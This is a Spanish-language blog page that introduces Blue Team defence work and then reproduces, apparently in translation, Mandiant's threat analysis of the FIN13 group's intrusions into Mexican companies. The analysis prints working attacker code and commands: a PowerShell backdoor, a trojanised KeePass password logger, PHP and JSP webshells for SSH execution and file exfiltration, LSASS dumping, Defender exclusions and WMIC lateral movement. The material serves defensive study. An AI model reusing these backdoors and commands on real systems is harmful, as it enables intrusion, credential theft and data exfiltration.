Panel de Tecnología y soluciones informáticas
Buscar:
Blue Team

Conceptos básicos

Introducción al Blue Team

Bienvenido al mundo de los “pitufos”, así se le suele llamar a aquellos profesionales de ciberseguridad encargados de proteger a las infraestructuras, programas, aplicaciones en general de las organizaciones. En términos más formales, un equipo de Blue Team está integrado por expertos de la seguridad informática cuya visión es la de la organización desde dentro hacia fuera. Protegen los activos de la misma contra las amenazas externas. Tienen muy claros cuáles son los objetivos de negocio y de la estrategia de seguridad de la empresa. De este modo, lo que procuran es fortalecer la seguridad informática para que ningún intruso acceda y pueda acabar con los protocolos de defensa establecidos.

Qué hace un Blue Team

Lo primero que hace un Blue Team es reunir datos, documentarse sobre todo aquello que hay que proteger, y efectúa una evaluación de riesgos. El siguiente paso será el de reforzar el acceso al sistema de diversas formas como, por ejemplo, introduciendo políticas más estrictas en materia de seguridad y ejerciendo una función didáctica con los trabajadores de la organización para que entiendan y se ajusten a los procedimientos de seguridad de la misma.

Es habitual que se establezcan protocolos de vigilancia que puedan registrar la información relativa al acceso a los sistemas e ir comprobando si se produce algún tipo de actividad inusual.

El Blue Team efectúa comprobaciones periódicas del sistema, analiza claves por defecto, complejidad de las password, como auditorías del sistema de nombres de dominio (DNS), de la vulnerabilidad de la red interna o externa, etc.

También se encargan de establecer medidas de seguridad alrededor de los activos clave de una organización, identifican los activos críticos, analizando y documentando la importancia de estos para el negocio y las consecuencias que tendría su ausencia.

El siguiente paso será realizar evaluaciones de riesgo identificando las amenazas contra cada activo y las debilidades que pueden explotar. Si se tiene conocimiento de los riesgos y estos pueden priorizarse, el Blue Team tendrá la posibilidad de desarrollar un plan de acción para establecer controles que reduzcan el impacto o la posibilidad de que las amenazas se lleven a cabo contra los activos.

El personal directivo superior debe implicarse en esta etapa, ya que son los únicos con la capacidad de decidir si quieren aceptar un riesgo o aplicar controles que puedan mitigarlo. Lo más habitual es que a la hora de poner en marcha los controles, previamente se haga un análisis de costes y beneficios para garantizar que dichos controles de seguridad sean lo suficientemente beneficiosos para la empresa.

Cómo funciona un Blue Team

Algunos de los procedimientos que pone en marcha un Blue Team son:

  • Realizar auditorías del DNS, con esto se pueden prevenir ataques de phishing, evitar problemas de DNS caducados, el tiempo de inactividad por la eliminación de registros del DNS y por supuesto, evitar e incluso reducir los ataques al DNS y a la web.
  • Efectuar análisis de la huella digital teniendo la capacidad así de rastrear la actividad de los usuarios e identificar las firmas conocidas que puedan alertar de una violación de la seguridad. Instalar software de seguridad de puntos finales en dispositivos externos, algo que ahora en tiempos de teletrabajo, resulta prácticamente imprescindible.
  • Asegurar que los controles de acceso al cortafuegos tengan la configuración correcta y mantener el software antivirus actualizado.
  • Desplegar software IDS e IPS para controlar la seguridad de detección y prevención.
  • Aplicar soluciones SIEM para registrar y absorber la actividad de la red.
  • Efectuar un análisis continuado de los registros y la memoria para recabar datos sobre algún tipo de actividad inusual en el sistema e identificar y localizar un ataque informático.
  • Segregar las redes y asegurarse de que su configuración es la correcta.
  • Implementar un software de exploración de vulnerabilidades.
  • Implementar un software antivirus o antimalware.

Entendiendo el ciclo de vida de un ataque

Para entender el funcionamiento de los grupos de cibercriminales y a que se enfrenta los equipos de Blue Team, vamos a exponer la investigación realizado por la empresa Mandiant sobre un grupo profesional de cibercriminales.

Desde 2017, Mandiant ha estado rastreando a FIN13, un actor de amenazas diligente y versátil con motivaciones financieras, el cual, realiza intrusiones a largo plazo en México con un marco de tiempo de actividad que se remonta a 2016. Las operaciones de FIN13 tienen varias diferencias notables con respecto a las tendencias actuales de robo de datos de los ciberdelincuentes y la extorsión de ransomware.

Aunque sus operaciones continúan hasta el día de hoy, en muchos sentidos, las intrusiones de FIN13 son como una cápsula del tiempo del ciberdelito financiero tradicional de tiempos pasados. En lugar de los grupos de ransomware de “pisa y corre” que prevalecen en la actualidad, FIN13 se toma su tiempo para recolectar información para realizar transferencias fraudulentas de dinero. En lugar de depender, en gran medida, de marcos de ataque como Cobalt Strike, la mayoría de las intrusiones de FIN13 implican un uso intensivo de puertas traseras pasivas personalizadas y herramientas para acechar en entornos a largo plazo. En este blog, describimos los aspectos notables de las operaciones de FIN13 para destacar un ecosistema regional de ciberdelincuentes que merece más exploración.

Objetivos de FIN13

Desde mediados de 2017, Mandiant ha respondido a múltiples investigaciones las cuales se han atribuido a FIN13. A diferencia de otros actores motivados financieramente, FIN13 tiene objetivos altamente ubicados. Más de cinco años de datos de intrusión de Mandiant muestran que FIN13 opera exclusivamente contra organizaciones con sede en México y se ha dirigido específicamente a grandes organizaciones en las industrias financiera, minorista y hotelera. Una revisión de los datos financieros, disponibles públicamente, muestra que varias de estas organizaciones tienen ingresos anuales de millones a miles de millones en dólares estadounidenses (1 USD = 21,11 MXN al 6 de diciembre de 2021).

FIN13 mapeará minuciosamente la red de una víctima, capturando credenciales, robando documentos corporativos, documentación técnica, bases de datos financieras y otros archivos los cuales respaldarán su objetivo de ganancia financiera por medio de la transferencia fraudulenta de fondos de la organización víctima.

Tiempo de permanencia y vida útil operativa

Las investigaciones de Mandiant determinaron que FIN13 tenía un tiempo medio de permanencia, (definido como la duración entre el inicio de una ciberintrusión y su identificación), de 913 días o 2 años y medio. El largo tiempo de permanencia de un actor con motivación financiera es anómalo y significativo por muchos factores. En el reporte 2021 de Mandiant M-Trends, el 52% de los compromisos tenían tiempos de permanencia de menos de 30 días, mejoró desde el 41% en 2019: “Un factor importante que contribuye al aumento de la proporción de incidentes con tiempos de permanencia de 30 días o menos es el aumento continuo en la proporción de investigaciones que involucraron ransomware, el cual aumentó al 25% en 2020, de un 14% en 2019″. El tiempo de permanencia de las investigaciones de ransomware se puede medir en días, mientras que FIN13 suele estar presente en entornos durante años para realizar sus operaciones más sigilosas y obtener la mayor recompensa posible.

Mandiant agrupa la actividad de los actores de amenazas de una variedad de fuentes, incluidas las investigaciones de primera mano realizadas por los equipos de Managed Defense y Respuesta a Incidentes de Mandiant. En una revisión de más de 850 clústeres de actividad motivada financieramente que Mandiant rastrea, FIN13 comparte una estadística convincente con solo otro actor de amenazas: FIN10, el flagelo de Canadá entre 2013 y 2019. Tan solo un 2.6% de los actores de amenazas motivados financieramente, los cuales Mandiant ha rastreado en múltiples intrusiones, se han dirigido a organizaciones en un solo país.

Al considerar las fechas más tempranas y recientes de la actividad identificada (“vida útil operativa”) para los grupos, los datos se vuelven interesantes. La mayoría de los grupos de amenazas con motivación financiera, que rastrea Mandiant, tienen una vida útil operativa de menos de un año. Solo diez tienen una vida útil operativa de entre uno y tres años; y cuatro tienen una vida útil superior a tres años. De estos cuatro, sólo dos de ellos han funcionado durante más de cinco años: FIN10 y FIN13, que Mandiant considera poco común.

Figura 1: Grupos de amenazas motivados financieramente con una vida útil operativa > 1 año

FIN13 tiene una capacidad demostrada para permanecer sigiloso en las redes de organizaciones mexicanas grandes y rentables durante un período de tiempo considerable.

Ciclo de vida de los ataques dirigidos de Mandiant

Los ataques dirigidos suelen seguir una secuencia predecible de eventos. No todos los ataques siguen el flujo exacto de este modelo; su propósito es proporcionar una representación visual del ciclo de vida de los ataques.

Establecer presencia

Las investigaciones de Mandiant revelan que FIN13 ha explotado, principalmente, servidores externos para implementar webshells genéricos y malware personalizado, incluidos BLUEAGAVE y SIXPACK, para establecer presencia. Los detalles de las explotaciones y las vulnerabilidades específicas, apuntadas a lo largo de los años, no han sido confirmados debido a la evidencia insuficiente agravada por los largos tiempos de permanencia de FIN13. En dos intrusiones separadas, la primera evidencia sugirió una posible explotación contra el servidor WebLogic de la víctima para escribir un webshell genérico. En otro, la evidencia sugirió la explotación de Apache Tomcat. Aunque los detalles sobre el vector exacto son escasos, FIN13 ha utilizado históricamente webshells, en servidores externos, como una puerta de entrada a una víctima.

El uso de JSPRAT, por parte de FIN13, permite al actor lograr la ejecución de comandos locales, cargar/descargar archivos y tráfico de red proxy para un pivote adicional durante las etapas posteriores de la intrusión. FIN13 también ha utilizado, históricamente, webshells disponibles públicamente y codificados en varios lenguajes, incluidos PHP, C# (ASP.NET) y Java. FIN13 también ha implementado ampliamente la puerta trasera pasiva BLUEAGAVE de PowerShell en los hosts destino al establecer una presencia inicial en el entorno. BLUEAGAVE utiliza la clase HttpListener.NET para establecer un servidor HTTP local en puertos efímeros altos (65510-65512). La puerta trasera escucha las solicitudes HTTP entrantes al URI raíz/en el puerto establecido, analiza la solicitud HTTP y ejecuta los datos codificados, en URL, almacenados dentro de la variable “kmd” de la solicitud por medio del símbolo del sistema de Windows (cmd.exe). La salida de este comando se envía de vuelta al operador en el cuerpo de la respuesta HTTP. Además, Mandiant ha identificado una versión Perl de BLUEAGAVE la cual permite a FIN13 establecerse en los sistemas Linux. A continuación, se muestra un código de PowerShell de muestra de BLUEAGAVE,

Figura 2:Fragmento de código BLUEAGAVE

[Reflection.Assembly]::LoadWithPartialName("System.Web") | Out-Null;

function extract($request) {

$length = $request.contentlength64;

$buffer = new - object "byte[]" $length;

[void]$request.inputstream.read($buffer, 0, $length);

$body = [system.text.encoding]::ascii.getstring($buffer);

$data = @ {};

$body.split('&') | % {

    $part = $_.split('=');

    $data.add($part[0], $part[1]);

};

return $data;

};

$routes = @ {

"POST /" = {

    $data = extract $context.Request;

    $decode = [System.Web.HttpUtility]::UrlDecode($data.item('kmd'));

    $Out = cmd.exe  /c $decode 2 > &1 | Out - String;

    return $Out;

}

};

$url = 'http://*:65510/';

$listener = New - Object System.Net.HttpListener;

$listener.Prefixes.Add($url);

$listener.Start();

while ($listener.IsListening)  {

$context = $listener.GetContext();

$requestUrl = $context.Request.Url;

$response = $context.Response;

$localPath = $requestUrl.LocalPath;

$pattern = "{0} {1}"  - f $context.Request.httpmethod, $requestUrl.LocalPath;

$route = $routes.Get_Item($pattern);

if ($route  - eq $null)  {

    $response.StatusCode = 404;

} else {

    $content = &$route;

    $buffer = [System.Text.Encoding]::UTF8.GetBytes($content);

    $response.ContentLength64 = $buffer.Length;

    $response.OutputStream.Write($buffer, 0, $buffer.Length);

};

$response.Close();

$responseStatus = $response.StatusCode;

}

Mandiant clasifica las puertas traseras pasivas como malware el cual proporciona acceso al entorno de la víctima sin enviar un beacon activo a un servidor de comando y control. Las puertas traseras pasivas pueden incluir webshells o malware personalizado que aceptan o escuchan conexiones entrantes por medio de un protocolo específico. El uso de FIN13 de puertas traseras pasivas, en lugar de puertas traseras activas de uso común como BEACON, demuestra el deseo del actor por el sigilo y las intrusiones sostenidas a largo plazo. FIN13 también mantiene un conocimiento activo de las redes de las víctimas, lo que les ha permitido crear de manera efectiva, pivotes complejos en los entornos de destino desde su punto base inicial. Durante una intrusión reciente, Mandiant observó que FIN13 aprovechó su base inicial para encadenar múltiples webshells y enviar el tráfico a hosts infectados con BLUEAGAVE en el entorno. Debajo de la Figura 3, se muestra un ejemplo de una solicitud HTTP registrada la cual demuestra a FIN13 encadenando múltiples webshells desde su base inicial:

Figura 3: Webshell encadenando solicitudes HTTP

GET /JavaService/shell/exec?cmd=curl%20-
v%20http://10.1.1.1:80/shell2/cmd.jsp%22cmd=whoami%22

Escalación de privilegios

FIN13 utiliza principalmente técnicas comunes de escalación de privilegios, sin embargo, el actor parece flexible para adaptarse cuando se expone a diversas redes de las víctimas. FIN13 se ha basado en utilerías disponibles públicamente, como ProcDump de Windows Sysinternal, para obtener volcados de memoria del proceso del sistema LSASS y, posteriormente, utilizó Mimikatz para analizar los volcados y extraer las credenciales. El siguiente es un ejemplo de un comando de host utilizado por FIN13 para volcar la memoria de proceso de LSASS, Figura 4:

Figura 4: Comando de volcado de memoria LSASS

C:\Windows\Temp\pr64.exe -accepteula -ma lsass.exe C:\Windows\Temp\ls.dmp

Mandiant también ha observado que FIN13 utiliza la utilería legítima de Windows certutil, en algunos casos para ejecutar copias ofuscadas de utilerías como ProcDump para la evasión de detección. En una intrusión, FIN13 utilizó certutil para decodificar una versión codificada en base64 del dropper personalizado LATCHKEY. LATCHKEY es un dropper compilado de PowerShell a EXE (PS2EXE) que, en base64, decodifica y ejecuta la función de PowerSploit Out-Minidump el cual genera un mini volcado para el proceso del sistema LSASS en disco.

FIN13 también ha utilizado algunas técnicas de escalación de privilegios más exclusivas. Por ejemplo, durante una intrusión reciente, Mandiant observó que FIN13 reemplazaba los archivos binarios legítimos de KeePass con versiones troyanizadas las cuales registraban contraseñas recién ingresadas en un archivo de texto local. Esto permitió a FIN13 apuntar y recolectar credenciales para numerosas aplicaciones con el fin de promover su misión. El siguiente es un extracto de código de la versión troyanizada de KeePass implementada por FIN13 en un entorno de cliente,

Figura 5: Fragmento de código troyano de KeePass

private void OnBtnOK(object sender, EventArgs e)

    {

        using (StreamWriter streamWriter = File.AppendText("C:\\windows\\temp\\file.txt"))

        {

            this.m_tbPassword.EnableProtection(false);

            streamWriter.WriteLine(this.m_cmbKeyFile.Text + ":" + this.m_tbPassword.Text);

            this.m_tbPassword.EnableProtection(true);

        }

        if (!this.CreateCompositeKey())

        {

            base.DialogResult = DialogResult.None;

        }

Reconocimiento interno

FIN13 es particularmente experto en aprovechar los archivos binarios del sistema operativo nativo, los guiones, las herramientas de terceros y el malware personalizado para realizar un reconocimiento interno dentro de un entorno comprometido. Este actor parece cómodo aprovechando diversas técnicas para recolectar rápidamente información de fondo que respaldará sus objetivos finales.

Mandiant ha observado que FIN13 utiliza comandos comunes de Windows para recolectar información como whoami, para mostrar detalles de los grupos y privilegios, para el usuario actualmente conectado. Para el reconocimiento de la red, se ha observado que aprovechan ping, nslookup, ipconfig, tracert, netstat y la gama de comandos net. Para recolectar información del host local, el actor de amenazas utilizó systeminfo, fsutil fsinfo, attrib y un uso extensivo del comando dir.

FIN13 incorporó muchos de estos esfuerzos de reconocimiento en guiones con el fin de automatizar sus procesos. Por ejemplo, utilizaron pi.bat para recorrer una lista de direcciones IP en un archivo, ejecutar un comando ping y escribir la salida en un archivo, Figura 6. Un guion similar utilizó dnscmd para exportar las zonas DNS de un host a un archivo.

Figura 6: Contenido del archivo de salida pi.bat

@echo off

for /f "tokens=*" %%a in (C:\windows\temp\ip.t) do (echo trying %%a: >>
C:\windows\temp\log4.txt ping -n 1 %%a >> C:\windows\temp\log4.txt 2>&1)

FIN13 ha aprovechado herramientas de terceros, como NMAP, para respaldar las operaciones de reconocimiento. En tres investigaciones de FIN13, los actores de amenazas emplearon una variante del guion GetUserSPNS.vbs para identificar las cuentas de usuario asociadas con un nombre principal de servicio el cual podría ser blanco de un ataque conocido como “Kerberoasting” para descifrar las contraseñas de los usuarios. También utilizan PowerShell para obtener datos DNS adicionales y exportarlos a un archivo, Figura 7. Se documenta un código similar de PowerShell en una publicación de junio de 2018 en coderoad[.]ru.

En otro caso, FIN13 ejecutó un guion de PowerShell para extraer eventos de inicio de sesión de un host durante los siete días previos. Es posible que se haya utilizado para recolectar información y permitir que FIN13 se integrara en las operaciones normales de los sistemas objetivo. Además, este guion ayudará a identificar a los usuarios que han iniciado sesión, evento 7001, para el cual no existe un evento 7002 correspondiente. La implicación es que el volcado de LSASS podría adquirir credenciales de usuario, Figura 8. Un código similar de PowerShell está documentado en una publicación de julio de 2018 para codetwo[.]com.

Figura 7: Guion de PowerShell para el reconocimiento de DNS

$results = Get - DnsServerZone | % {

$zone = $_.zonename

Get - DnsServerResourceRecord $zone | select @ {

    n = 'ZoneName';

    e = {

        $zone

    }

 }, HostName, RecordType, @ {

    n = 'RecordData';

    e = {

        if ($_.RecordData.IPv4Address.IPAddressToString)  {

            $_.RecordData.IPv4Address.IPAddressToString

        } else {

            $_.RecordData.NameServer.ToUpper()

        }

     }

 }

 }

$results | Export-Csv  -NoTypeInformation c:\windows\temp\addcat.csv  -Append

Figura 8: Guion de PowerShell para extraer eventos de inicio de sesión

"C:\Windows\system32\cmd.exe"   / c "echo $hostnm = hostname;

$logs = get-eventlog system -ComputerName $hostnm -source Microsoft-Windows-Winlogon -After (Get-Date).AddDays(-7);

$res = @();

ForEach ($log in $logs){

  if($log.instanceid -eq 7001) {$type = "Logon"}

  Elseif ($log.instanceid -eq 7002){$type="Logoff"}

  Else {Continue} $res += New-Object PSObject -Property @{Time = $log.TimeWritten; User = (New-Object System.Security.Principal.SecurityIdentifier $Log.ReplacementStrings[1]).Translate([System.Security.Principal.NTAccount])}};

$res | Out-File C:\windows\temp\logs1.txt"

Además, FIN13 ha aprovechado la infraestructura corporativa para ejecutar actividades de reconocimiento. Durante una investigación, FIN13 accedió a la consola Symantec Altiris del objetivo, una plataforma de administración de software y hardware, para modificar repetidamente una tarea Run Script existente en la interfaz con el fin de adquirir información de red y host. En otra investigación, FIN13 utilizó una cuenta de LanDesk comprometida para ejecutar comandos para devolver información de host, red y base de datos del entorno.

Sin limitarse a las herramientas disponibles públicamente, FIN13 también ha utilizado varias familias de malware personalizado para ayudar en el reconocimiento interno. En tres investigaciones, FIN13 utilizó PORTHOLE, un escáner de puertos basado en Java, para realizar investigaciones de red. PORTHOLE puede intentar múltiples conexiones de socket a muchas direcciones IP y puertos y, como es multiproceso, puede ejecutar esta operación rápidamente con conexiones múltiples potencialmente superpuestas. El malware acepta, como primer argumento, una dirección IP con comodines en la dirección o un nombre de archivo. El segundo argumento es el rango de puerto inicial para escanear para cada IP y el tercero es el rango de puerto final.

CLOSEWATCH es un webshell JSP el cual se comunica con un escucha en el host local por medio de un puerto específico, escribe archivos arbitrarios en el sistema operativo de la víctima, ejecuta comandos arbitrarios en el host de la víctima, deshabilita el proxy y emite solicitudes HTTP GET personalizables a una variedad de hosts remotos. Si se especifican los parámetros de URL HTTP adecuados, CLOSEWATCH puede crear una conexión de socket al host local en el puerto 16998, en donde puede enviar y recibir datos utilizando comunicaciones similares a HTTP usando codificación de transferencia fragmentada. Si se especifica el parámetro de rango, CLOSEWATCH puede escanear un rango de direcciones IP y puertos utilizando parámetros personalizados. Este malware se observó en una de las primeras investigaciones de FIN13. Aunque recientemente apareció una muestra en un repositorio público, este malware no se ha observado durante investigaciones más recientes. Si bien es más que una simple herramienta de reconocimiento, el parámetro de rango de CLOSEWATCH proporciona a FIN13 otra capacidad de escaneo.

Se ha observado que FIN13 ejecuta la utilería osql de Microsoft, pero también han aprovechado otro webshell JSP, el cual Mandiant rastrea como SPINOFF, para la investigación de SQL. SPINOFF puede ejecutar consultas SQL arbitrarias en bases de datos específicas y descargar los resultados a un archivo. Al igual que CLOSEWATCH, este malware prevaleció en las primeras investigaciones.

Un descargador, el cual Mandiant rastrea como DRAWSTRING, tiene algunas funciones de reconocimiento interno. Si bien principalmente proporciona a FIN13 la capacidad de descargar y ejecutar archivos arbitrarios, DRAWSTRING también ejecutará systeminfo.exe y cargará dicha información en un servidor de comando y control (C2). Al iniciarse, el malware crea persistencia por medio de tres métodos posibles: un servicio, un archivo .lnk o una actualización de la llave de registro Software\Microsoft\Windows\CurrentVersion\Run. El malware comprueba los numerosos procesos antivirus y varía el método de persistencia si se encuentra uno.

Posteriormente, el malware ejecuta los siguientes dos comandos, Figura 9 y Figura 10, donde %s se reemplaza por el nombre del programa:

Figura 9: Comando de PowerShell para modificar la configuración de Windows Defender

powershell -inputformat none -outputformat none -NonInteractive -Command 
Add-MpPreference -ExclusionPath "%s"

Figura 10: Comando netsh para permitir comunicaciones DRAWSTRING

Netsh advfirewall firewall add rule name="Software Update" 
profile=domain,private,public protocol=any enable=yes DIR=Out program="%s" Action=Allow

Este comando agrega una nueva regla a un cortafuegos de Windows el cual permite a DRAWSTRING comunicaciones salientes.

El malware recolecta información del sistema mediante la ejecución de systeminfo.exe y el nombre de usuario, el nombre de la computadora, la información del parche del sistema, la lista de directorios de archivos de programa y la arquitectura están cifrados y codificados en base64. DRAWSTRING, posteriormente, realiza una solicitud HTTP POST por medio del puerto 443 con los datos del sistema capturados. Si bien esta comunicación utiliza el puerto 443, los datos no están a través de TLS/SSL y no están cifrados. El malware realiza 10 intentos de contactar al C2, durmiendo durante 10 segundos entre cada ronda. La respuesta se descifra, guarda y ejecuta.

Un ejemplo de llamada se ilustra en la Figura 11. Mandiant ha observado que FIN13 utiliza la misma dirección IP para DRAWSTRING y GOTBOT2 C2.

Figura 11: Ejemplo de solicitud DRAWSTRING POST

POST /cpl/api.php HTTP/1.0

Content-Type: application/x-www-form-urlencoded

host: <Ipv4 address>

Content-Length: 8094


Q=<BASE64 Encrypted Data>

Movimiento lateral

El grupo ha aprovechado, con frecuencia, Windows Management Instrumentation (WMI) para ejecutar comandos de forma remota y moverse lateralmente, es decir, empleando el comando wmic nativo, una versión del guion Invoke-WMIExec disponible públicamente, o WMIEXEC. El siguiente es un ejemplo de comando WMIC utilizado por FIN13, Figura 12:

Figura 12: Ejemplo del comando WMIC

wmic /node:"192.168.133.61" /user:"<victim>\<admin account>" 
/password:<admin password> process call create "powershell -noprofile -ExecutionPolicy Bypass -encodedCommand <Base64>"

En la misma investigación en la que FIN13 ha utilizado wmiexec.vbs, Mandiant también ha observado que el actor utiliza un entunelador personalizado del webshell JSP llamado BUSTEDPIPE para facilitar el movimiento lateral por medio de solicitudes web.

Mandiant también ha observado que FIN13 utiliza utilerías similares a Invoke-WMIExec, como la utilería Invoke-SMBExec de PowerShell, en un cliente de Managed Defense. El siguiente es un ejemplo de comando Invoke-SMBExec utilizado por FIN13, Figura 13:

powershell  -ExecutionPolicy Bypass -command "& { . 
C:\windows\temp\insm.ps1; Invoke-SMBExec -Username <user> -Command 
'cmd /c whoami  ' -Domain CB -Hash REDACTED:REDACTED -Target <IP address> }"

NIGHTJAR es un cargador de Java, observado durante múltiples investigaciones, el cual parece estar basado en el código que se encuentra aquí. NIGHTJAR escuchará en un socket designado, proporcionado en tiempo de ejecución en la línea de comando, para descargar un archivo y guardarlo en disco. Este malware no contiene un mecanismo de persistencia y se ha observado en el directorio C:\Windows\Temp o C:\inetpub\wwwroot. Se han observado dos versiones de la sintaxis de la línea de comandos, Figura 14, Figura 15.

Figura 14: Sintaxis de la línea de comandos de NIGHTJAR

[+] Usage: Host Port /file/to/save

Figura 15: Sintaxis secundaria de la línea de comandos de NIGHTJAR

[+] Usage: Interface[localhost] Port /rout/to/save

Para moverse lateralmente entre plataformas, FIN13 ha utilizado su webshell BLUEAGAVE y otros dos webshells PHP pequeños los cuales se utilizaron para ejecutar comandos de forma remota entre sistemas Linux por medio de SSH con un nombre de usuario y contraseña específicos. En la Figura 16 a continuación, se muestra un fragmento de uno de estos webshells.

Figura 16: Shell web ejecutivo SSH

<?php

error_reporting(0);

set_time_limit(0);

include('Net/SSH2.php');

$ip = file_get_contents('/dev/shm/22.txt');

$command = $_REQUEST['command'];

if($command=='')

{

}

else

{

foreach(preg_split("/((r?n)|(rn?))/", $ip) as $ips){

  $ssh = new Net_SSH2($ips);

  if ($ssh->login('<REDACTED>', '<REDACTED>')) {

echo "<pre>", $ips, "</pre><br>";

echo "<pre>", $ssh->exec($command), "</pre> <br>";

  }

  else

  {
echo "Login Failed  on $ips <br> n";
  }

}

print "El script ha finalizado";
}
?>

Mantener presencia

Las primeras intrusiones de FIN13 involucraron múltiples webshells genéricos para la persistencia, pero a lo largo de los años, FIN13 ha desarrollado una cartera de familias de malware tanto personalizadas como disponibles públicamente para utilizarlas como persistencia en el entorno.

En múltiples intrusiones, FIN13 implementó SIXPACK y SWEARJAR. SIXPACK es un webshell ASPX escrito en C# que funciona como entunelador. SIXPACK acepta datos de formulario HTTP los cuales contienen un host remoto y un puerto TCP para conectarse, un valor de tiempo de espera y datos codificados en Base64 para enviar después de conectarse al host especificado. SIXPACK lee los datos de respuesta y los devuelve al cliente original. SWEARJAR es una puerta trasera multiplataforma basada en Java que puede ejecutar comandos de shell.

En un caso, FIN13 implementó una puerta trasera llamada MAILSLOT, la cual se comunica por medio de SMTP/POP a través de SSL, enviando y recibiendo correos electrónicos desde y hacia una cuenta de correo electrónico configurada controlada por el atacante para su comando y control. MAILSLOT convierte a FIN13 en un caso poco común de un actor de amenazas que ha utilizado comunicaciones por correo electrónico para C2.

También han empleado una utilería personalizada de Mandiant llamada HOTLANE, la cual es un entunelador escrito en C/C ++ el cual puede operar en modo cliente o servidor y se comunica con un protocolo binario personalizado sobre TCP.

Además de su malware personalizado, FIN13 ha utilizado malware disponible públicamente, como la puerta trasera GOBOT2 y TINYSHELL.

Una utilería única disponible al público que ha utilizado el actor es un webshell PHP basado en PHPSPY, que Mandiant rastrea como SHELLSWEEP, contenía funcionalidad para recuperar información de tarjetas de crédito. La siguiente figura contiene un fragmento del webshell PHP,Figura 17.

Figura 17: Fragmento de código relacionado con PCI de PHP webshell disponible públicamente

$level = 1;

if (isset($_GET['level'])) $level = $_GET['level'];

$firmas = array("Estandar eval(base64_decode())" = 
 "/eval\s*\(\s*base64_decode\(\s*/", "eval(gzinflate
 (base64_decode()))" = > "/eval\s*\(gzinflate\s*\
 (\s*base64_decode\s*\(\s*/", "D4NB4R WAS HERE" = 
 > "/D4NB4R WAS HERE/", "md5(Safety)" = > 
 "/6472ce41c26babff27b4c28028093d77/", "md5(backdoor1)" 
 = > "/f32e7903a13ff43da2ef1baf36adeca9/", "WSO 2.1 
 (Web Shell by oRb)" = > "/10b27b168be0f7e90496dbc5fcfa63fc/", 
 "WSO 2.1 (Web Shell by oRb) 2" = > "/Web Shell by oRb/", 
 "milw0rm.com" = > "/milw0rm\.com/", "exploit-db.com" = > 
 "/exploit-db\.com/", "FilesMan" = > "/preg_replace\s*\
 (\s*(\"|')\/\.\*\/e(\"|')/", "CMD" = > '/(system|exec|passthru)\
 (\s*\$_GET\[([^\w\d]|\"|\')*cmd([^\w\d]|"|\')*\]\s*\)/', "CC's dump"=>
 "/num_tarjeta,codigo_sec,fecha_expira/i","root 12345"=>"/
 'root','12345'/i",);$level2=array("Pasarela (VPCPaymentConnection)
 "=>"/VPCPaymentConnection/","setSecureSecret(__GROUP__)
 "=>"/setSecureSecret\s*\(\s*(.+?)\s*\)/","__GROUP____PARSE_ARGS__"=>
 "/((ifx_connect|oci_connect|mysql_connect|pg_connect|mssql_connect|odbc_connect)
 \s*\(\s*.+?\s*\)\s*;)/i");if(intval($level)>1)
 {$firmas=array_merge($firmas,$level2);}$level3=array("CC's
  (__GROUP__)" = > "/[^\w](cc_?num(ber)?|credit_?card
  |cod_?sec|cvv|num_?cad|num_?exp|tarjeta|numero_?tarjeta
  |vence_?mes|vence_?ano|c_seg|exp_code?)[^\w]/i", "Visa CC's 
  (__GROUP__)"=>"/[^\d\w]((?:4[0-9]{12}(?:[0-9]{3})?)[^\d\w]
  /","MasterCard CC's (__GROUP__)" = > "/[^\d\w](5[1-5][0-9]{14})[^\d\w]/", 
"American Express CC's (__GROUP__)" =  "/([^\d\w]3[47][0-9]{13}[^\d\w])/");

Para ejecutar persistentemente sus puertas traseras, FIN13 ha utilizado llaves de ejecución del Registro de Windows como HKEYLOCALMACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\hosts la cual se configuró para ejecutar un archivo ubicado en C:\WINDOWS\hosts.exe. También han creado tareas programadas con nombres como acrotryr y AppServicesr para ejecutar binarios del mismo nombre en el directorio C:\Windows.

Completar la misión

Si bien muchas organizaciones están inundadas de ransomware, FIN13 monetiza con nostalgia sus intrusiones por medio del robo de datos dirigido para permitir transacciones fraudulentas. FIN13 ha exfiltrado datos comúnmente dirigidos, como volcados de proceso LSASS y llaves de registro, pero en última instancia se dirigió a usuarios eficaces para alcanzar sus objetivos financieros. En una intrusión, FIN13 enlistó, específicamente, todos los usuarios y roles principales del sistema de tesorería de la víctima. FIN13, posteriormente, se trasladó más a las partes sensibles de la red, incluidas las redes POS y ATM, donde podrían exfiltrar una variedad de datos altamente específicos.

En una víctima, FIN13 exfiltró archivos relacionados con Verifone, un software de uso común el cual facilita las transferencias de dinero en los sistemas POS. En al menos un caso, FIN13 exfiltró la carpeta base completa para un sistema POS la cual incluía dependencias de archivos, imágenes utilizadas para imprimir recibos y archivos .wav utilizados para efectos de sonido. En una víctima diferente, FIN13 robó de manera similar archivos de dependencia para el software del cajero automático de la víctima. La información robada, de sistemas importantes, para una transacción monetaria podría utilizarse para iluminar posibles vías de actividad fraudulenta.

FIN13 también interactuó con bases de datos para recolectar información sensible desde el punto de vista financiero. En una base de datos de las víctimas, FIN13 recuperó el contenido de las siguientes tablas para su exfiltración:

  • “claves_retiro” (English translation “withdrawal keys”)
  • “codigosretirosin_tarjeta” (English translation “keyless card withdrawal codes”)
  • “retirosefectivo” (English translation “cash withdrawal”)

Con el tesoro en la mano, FIN13 disfrazó sus datos almacenados mediante el uso de la utilería certutil de Windows para generar un certificado falso, codificado en Base64, con el archivo de entrada. El certificado contenía el contenido del archivo de almacenamiento, Figura 18, preparado para su exfiltración con declaraciones normales de inicio y finalización del certificado, como:

Figura 18: Datos de archive, por etapas, en certificado

-----BEGIN CERTIFICATE-----

UmFyIRoHAM+QcwAADQAAAAAAAABtB3TAkEgADWsDAV5qvgMCpojeh0SF+EodMyMA

IAAAAFVzZXJzXGFkbV9zcWxcQXBwRGF0YVxSb2FtaW5nXGwuZG1wALDbslQiIdVV

[truncated]

54Mt/3107vXRoa10YPmXffXCPQ+LF4vq3vhdKn+Z+tdaYeD/IgueHaxaff6yZMmT JkyZMmTepv/ExD17AEAHAA== —–END CERTIFICATE—–

FIN13, posteriormente, exfiltró los datos por medio de webshells previamente implementados en el entorno o utilizando una herramienta JSP simple, Figura 19, en un directorio accesible desde la web como: Figura 19: Ejemplo de JSP utilizado para el robo de datos

<%@ page buffer="none" %>

<%@page import="java.io.*"%>

<%String down="I:\\[attacker created dir]\\[attacker created archive]";

  if(down!=null){

  response.setContentType("APPLICATION/OCTET-STREAM");

  response.setHeader("Content-Disposition","attachment; filename=\"" + down + "\"");

  FileInputStream fileInputStream=new FileInputStream(down);

  int i;

  while ((i=fileInputStream.read()) != -1) {

  out.write(i);}fileInputStream.close();}%>

